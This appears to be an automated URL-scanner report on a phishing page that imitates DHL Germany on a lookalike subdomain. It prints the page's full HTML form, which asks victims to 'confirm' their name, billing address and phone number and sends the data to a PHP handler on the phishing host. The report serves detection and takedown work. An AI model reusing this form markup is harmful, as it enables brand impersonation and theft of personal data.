dhl.de.confirmation.2022.parroquiasanvictor.cl
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Submitted URL: http://dhl.de.confirmation.2022.parroquiasanvictor.cl/
Effective URL: http://dhl.de.confirmation.2022.parroquiasanvictor.cl/dhl/billing.php
Submission: On September 07 via api from JP — Scanned from DE
Effective URL: http://dhl.de.confirmation.2022.parroquiasanvictor.cl/dhl/billing.php
Submission: On September 07 via api from JP — Scanned from DE
Form analysis
1 forms found in the DOMPOST ./app/jeandhl/jeanbilling.php
<form action="./app/jeandhl/jeanbilling.php" method="POST" id="form_validation" class="uk-form-stacked">
<div>
<center><img style="max-width:25%;height:auto;" src="./files/img/delivery-truck.png" class=""></center>
<h2 style="font-family: Raleway; color: #D2002E;">Bestätigen Sie Ihre Rechnungsadresse</h2>
</div>
<div class="uk-form-row">
<label for="jeanname" style="color:#d40511;font-family: Raleway;"> Vollständiger Name * <input style="font-family: Raleway" class="dhl-InputField-input" type="text" id="jeanname" name="jeanname" data-parsley-trigger="change" required=""
data-parsley-id="6">
</label>
</div>
<div class="uk-form-row">
<label for="jeancc" style="color:#d40511;font-family: Raleway;"> Rechnungsadresse * <input style="font-family: Raleway" placeholder="" maxlength="100" class="dhl-InputField-input" type="text" id="jeanadress" name="jeanadress"
data-parsley-trigger="change" required="" data-parsley-id="6">
</label>
</div>
<div class="uk-form-row">
<label for="login_password" style="color:#d40511;font-family: Raleway;">Stadt * <input maxlength="30" style="font-family: Raleway" placeholder="" class="dhl-InputField-input" type="text" id="jeancity" ata-parsley-trigger="change" required=""
data-parsley-id="6" name="jeancity">
</label>
</div>
<div class="uk-form-row">
<label for="login_password" style="color:#d40511;font-family: Raleway;">Staat * <input maxlength="30" style="font-family: Raleway" class="dhl-InputField-input" type="text" id="jeanstate" ata-parsley-trigger="change" required=""
data-parsley-id="6" name="jeanstate">
</label>
</div>
<div class="uk-form-row">
<label for="login_password" style="color:#d40511;font-family: Raleway;">Postleitzahl * <input maxlength="10" style="font-family: Raleway" class="dhl-InputField-input" type="text" id="jeanzip" ata-parsley-trigger="change" required=""
data-parsley-id="6" name="jeanzip">
</label>
</div>
<div class="uk-form-row">
<label for="login_password" style="color:#d40511;font-family: Raleway;">Land * <input maxlength="20" style="font-family: Raleway" value="Deutschland" class="dhl-InputField-input" type="text" id="jeancountry" ata-parsley-trigger="change"
required="" data-parsley-id="6" name="jeancountry">
</label>
</div>
<div class="uk-form-row">
<label for="login_password" style="color:#d40511;font-family: Raleway;">Telefonnummer * <input maxlength="20" style="font-family: Raleway" value="" class="dhl-InputField-input" type="text" id="jeanphone" ata-parsley-trigger="change" required=""
data-parsley-id="6" name="jeanphone">
</label>
</div>
</form>
Text Content
BESTÄTIGEN SIE IHRE RECHNUNGSADRESSE Vollständiger Name * Rechnungsadresse * Stadt * Staat * Postleitzahl * Land * Telefonnummer * © Urheberrechte 2022 DHL